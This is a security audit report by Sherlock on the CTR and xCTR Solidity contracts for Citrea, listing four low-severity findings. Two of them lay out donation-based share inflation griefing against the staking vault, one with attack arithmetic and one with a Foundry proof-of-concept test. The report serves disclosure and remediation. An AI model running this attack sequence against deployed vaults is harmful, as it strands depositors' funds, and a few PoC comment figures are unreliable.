SHERLOCK

Security Review For
CTR | xCTR

Collaborative Audit Prepared For: **CTR | xCTR**
Lead Security Expert(s): **0x3b**
ParthMandale
Date Audited: **February 27 - March 1, 2026**

Introduction

CTR is the ERC20 token on the Citrea network. Once staked, it serves as the primary utility and coordination mechanism of the network.

Scope

Repository: chainwayxyz/citrea-token

Audited Commit: 0230630de9d4460937735cadd3f6cd1876534dc4

Final Commit: 00060a0b9b4f48418dbfb40997bbcc3ebae4c2a3

Files:

- src/CitreaToken.sol
- src/GaugeVotes.sol
- src/xCitreaToken.sol

Final Commit Hash

00060a0b9b4f48418dbfb40997bbcc3ebae4c2a3

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
0	0	4

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue L-1: First depositor attack via `startExit` and `cancelExit` [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-02-citrea-feb-27th-2026/issues/4

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

Missing `_decimalsOffset` override allows a first depositor to inflate the share price, causing subsequent deposits below the inflated rate to round to 0 shares and permanently losing the depositor's funds.

Vulnerability Detail

`xCitreaToken` inherits OZ's ERC4626 but does not override `_decimalsOffset`, which defaults to 0 (virtual offset of `+1`). This minimal offset allows a first depositor to inflate the share price via direct donation.

1. Victim deposits 9e18 `(9e18 * 2 / (20e18+2)) = 0` shares
2. Attacker front runs him and deposits 1 wei and mints 1 share
3. Attacker transfers 20e18 CTR directly to the vault
4. `totalAssets = 20e18+1`, `totalSupply = 1`, rate = 20e18 per share

The victim's 9e18 CTR is transferred to the vault but they receive 0 shares with no way to recover. Any deposit below `(totalAssets + 1) / (totalSupply + 1)` will round to 0.

Note: The `+1` virtual share prevents the attacker from profiting (they lose ~5.5e18), but the griefing permanently inflates the vault and causes a lasting DoS on small depositors.

Impact

First depositor can inflate the share price such that deposits below the inflated rate round to 0 shares, permanently losing the depositor's funds.

Recommendation

Override `_decimalsOffset` to return a higher value, making the required donation not viable.

```
+   function _decimalsOffset() internal pure override returns (uint8) {
+       return 6;
+   }
```

Discussion

okkothejawa

Acknowledged. We believe OZ's existing mitigation is sufficient.

Issue L-2: Equal min and max exit penalties may create an invalid penalty curve configuration [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-02-citrea-feb-27th-2026/issues/5

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

In `initialize()` and `setExitParams()`, the contract allows `minExitPenaltyBps_` to be equal to `maxExitPenaltyBps_` because it uses <= instead of <.

This creates a flat penalty configuration where the penalty no longer decreases over time, which is inconsistent with the intended linear penalty decay design and can make `_getExitPenalty()` behave contrary to protocol expectations.

Vulnerability Detail

The following validation exists in both `initialize()` and `setExitParams()`:

```
require(minExitPenaltyBps_ <= maxExitPenaltyBps_, "xCTR: MIN > MAX penalty");
```

If the values are set equal `minExitPenaltyBps == maxExitPenaltyBps`, then the `penaltyRange` in `_getExitPenalty()` becomes 0. As a result, the penalty curve is no longer decreasing over time and users will face the same penalty regardless of how long they wait between `minExitDuration` and `maxExitDuration`

Impact

This is inconsistent with the intended design of a linear decay from a higher penalty at `minExitDuration` to a lower penalty at `maxExitDuration`.

Recommendation

Require the minimum and maximum penalties to be strictly different by changing the validation to:

```
- require(minExitPenaltyBps_ <= maxExitPenaltyBps_, "xCTR: MIN > MAX penalty");
+ require(minExitPenaltyBps_ < maxExitPenaltyBps_, "xCTR: MIN >= MAX penalty");
```

Discussion

okkothejawa

Acknowledged. Having 1 unit difference between `minExitPenaltyBps_` and `maxExitPenaltyBps_` is as absurd as having them equal, and since calculations are not broken if they are equal, we think this is fine as it is.

Issue L-3: `completeExit()` performs unnecessary reward accounting when penalty is zero [RESOLVED]

Source: https://github.com/sherlock-audit/2026-02-citrea-feb-27th-2026/issues/6

Summary

`completeExit()` always calls `_addRewards(penalty)` even when the computed penalty is zero.

Since the current configuration allows exits at or after `maxExitDuration` with `minExitPenaltyBps = 0`, this results in unnecessary storage work and event emission despite no rewards being added.

Vulnerability Detail

When a user completes an exit after `maxExitDuration`, then `_getExitPenalty()` can return zero under the current configuration, but `_addRewards(0)` still:

- recomputes the reward epoch
- writes `rewardEpoch` back to storage
- emits `RewardEpochUpdated` event
- emits `RewardsAdded` event

Impact

general-health / gas-efficiency issue. Users completing zero-penalty exits pay extra gas for state updates and events that have no economic effect.

Recommendation

Skip call when no penalty is collected:

Function `completeExit()`

```
+ if (penalty > 0) {
    _addRewards(penalty);
+ }
```

Discussion

okkothejawa

Addressed in https://github.com/chainwayxyz/citrea-token/pull/21.

Issue L-4: `CancelExit()` Zero-Share Restoration Griefing via direct donation Inflation attack [RESOLVED]

Source: https://github.com/sherlock-audit/2026-02-citrea-feb-27th-2026/issues/7

Vulnerability Detail

Step-by-step theoretically:

1. Initial deposits: user1 deposit 100, user2 deposit 100 State: balance=200, totalSupply=200, totalPending=0, totalAssets=200.
2. user1 starts full exit (100 shares) assetsLocked = 100 (1:1 at this point), user1 shares burned. State: balance=200, totalSupply=100, totalPending=100, totalAssets=100.
3. Compute minimum attacker donation to force cancelExit mint = 0 Minimum donation is: 10,000.
4. user2 donates 10,000 CTR directly to the vault State: balance=10,200, totalSupply=100, totalPending=100, totalAssets=10,100.
5. user1 calls cancelExit sharesRestored = floor(100*(100+1)/(10,100+1)) = floor(10,100/10,101) = 0. So user1 gets 0 xCTR back. State: balance=10,200, totalSupply=100, totalPending=0, totalAssets=10,200.
6. user2 starts exit of 100 shares assetsLocked = convertToAssets(100) = floor(100*(10,200+1)/(100+1)) = 10,100. State: balance=10,200, totalSupply=0, totalPending=10,100, totalAssets=100.
7. After the max duration, user2 completes exit With min penalty = 0 at max duration, user2 receives 10,100. Final vault balance: 100 (this is user1's stranded value).

Net effect:

- user1: loses 100. Got Griefed
- user2: gets back donation + own stake (10,100), no net gain from victim in this implementation.
- Vault: keeps stranded 100 CTR.

PoC:

```
function _test_CancelExit_DirectDonationCanZeroRestoredShares() internal {
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    uint256 depositAmount = 100;

    // Step 1: both users deposit 100 CTR at 1:1
    _deposit(user1, depositAmount);
    _deposit(user2, depositAmount);
```

```
assertEq(xCTR.balanceOf(user1), depositAmount, "user1 shares mismatch");
assertEq(xCTR.balanceOf(user2), depositAmount, "user2 shares mismatch");
assertEq(ctr.balanceOf(address(xCTR)), 2 * depositAmount, "vault balance
↪  mismatch");

// Step 2: user1 starts full exit
vm.prank(user1);
uint256 user1ExitId = xCTR.startExit(depositAmount);

(, uint256 pendingAssets,,,,) = xCTR.pendingExits(user1, user1ExitId);
assertEq(pendingAssets, depositAmount, "pending exit assets mismatch");
assertEq(xCTR.balanceOf(user1), 0, "user1 shares should be burned");
assertEq(xCTR.totalPendingExitAssets(), depositAmount, "total pending assets
↪  mismatch");

uint256 supplyAfterUser1Exit = xCTR.totalSupply();
uint256 totalAssetsBeforeDonation = xCTR.totalAssets();

// convertToShares(pendingAssets) = pendingAssets * (supply + 1) / (totalAssets
↪  + donation + 1)
// For 100/100 state here, the smallest donation that makes restored shares = 0
↪  is 10,000.
uint256 minDonationForZeroShares = pendingAssets * (supplyAfterUser1Exit + 1) -
↪  totalAssetsBeforeDonation;
assertEq(minDonationForZeroShares, 10_000, "unexpected min donation");

// Step 3: user2 (attacker) donates directly to inflate totalAssets seen by
↪  cancelExit
ctr.mint(user2, minDonationForZeroShares);
vm.prank(user2);
ctr.transfer(address(xCTR), minDonationForZeroShares);

assertEq(xCTR.convertToShares(pendingAssets), 0, "restored shares should be
↪  zero after donation");

// Step 4: user1 cancels exit and receives zero shares back
vm.prank(user1);
xCTR.cancelExit(user1ExitId);

(, uint256 pendingAssetsAfterCancel,,,,) = xCTR.pendingExits(user1,
↪  user1ExitId);
assertEq(pendingAssetsAfterCancel, 0, "pending exit should be cleared");
assertEq(xCTR.balanceOf(user1), 0, "user1 should lose all shares");

// Step 5: user2 exits remaining 100 shares after max duration
vm.prank(user2);
uint256 user2ExitId = xCTR.startExit(depositAmount);

// 100
(, uint256 attackerExitAssets,,,,) = xCTR.pendingExits(user2, user2ExitId);
```

```
    vm.warp(block.timestamp + xCTR.maxExitDuration());
    uint256 attackerBalanceBefore = ctr.balanceOf(user2);
    vm.prank(user2); // 100
    xCTR.completeExit(user2ExitId);
    uint256 attackerBalanceAfter = ctr.balanceOf(user2); // 100+100+1000 = 1200

    // 10200-100 = 10100
    assertEq(attackerBalanceAfter - attackerBalanceBefore, attackerExitAssets,
    ↪  "attacker exit transfer mismatch");
    // 10100 = 10000+100
    assertEq(attackerExitAssets, minDonationForZeroShares + depositAmount,
    ↪  "attacker receives donation + own 100");
    //  100 = 100
    assertEq(ctr.balanceOf(address(user2)), 10200, "user1 100 CTR stays stranded in
    ↪  vault");
}
```

Recommendation

Seed the vault at deployment with a protocol-owned initial deposit of 1e18 CTR to establish a baseline share/asset ratio and increase the cost of donation-based manipulation. In cancelExit, compute restored shares first and revert if the result is zero.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.